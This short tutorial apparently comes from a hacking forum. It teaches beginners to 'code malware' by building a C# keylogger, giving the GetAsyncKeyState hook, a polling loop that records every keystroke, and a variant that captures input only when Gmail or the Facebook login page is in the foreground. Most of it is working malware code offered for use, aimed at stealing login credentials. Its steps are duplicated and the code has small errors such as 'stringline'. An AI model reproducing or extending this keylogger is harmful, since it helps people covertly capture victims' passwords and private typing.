First I want to clarify that this is a very basic keylogger that almost everyone can do if you are starting to learn how to code malware you can use this as a guide and make your way.
Step 1
To hook into the keyboard, all you have to do is use these two C# lines:
Now that you have this you continually call this function to get the keyboard data you need, So lets go with the step 2:
If one of them is pressed , it will print it out to the console.
I will show you a more complex but smarter way to do it:
Step 1
To hook into the keyboard, all you have to do is use these two C# lines:
- [DllImport("user32.dll")]
- public static extern int GetAsyncKeyState(Int32 i);
Now that you have this you continually call this function to get the keyboard data you need, So lets go with the step 2:
- while (true)
- {
- Thread.Sleep(100);
- for (Int32 i = 0; i < 255; i++)
- {
- int state = GetAsyncKeyState(i);
- if (state == 1 || state == -32767)
- {
- Console.WriteLine((Keys)i);
- }
- }
- }
If one of them is pressed , it will print it out to the console.
I will show you a more complex but smarter way to do it:
- while (true)
- {
- IntPtr handle = GetForegroundWindow();
- if (GetWindowText(handle, buff, chars) > 0)
- {
- stringline = buff.ToString();
- if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up "))
- {
- //Check keyboard
- }
- }
- Thread.Sleep(100);
- }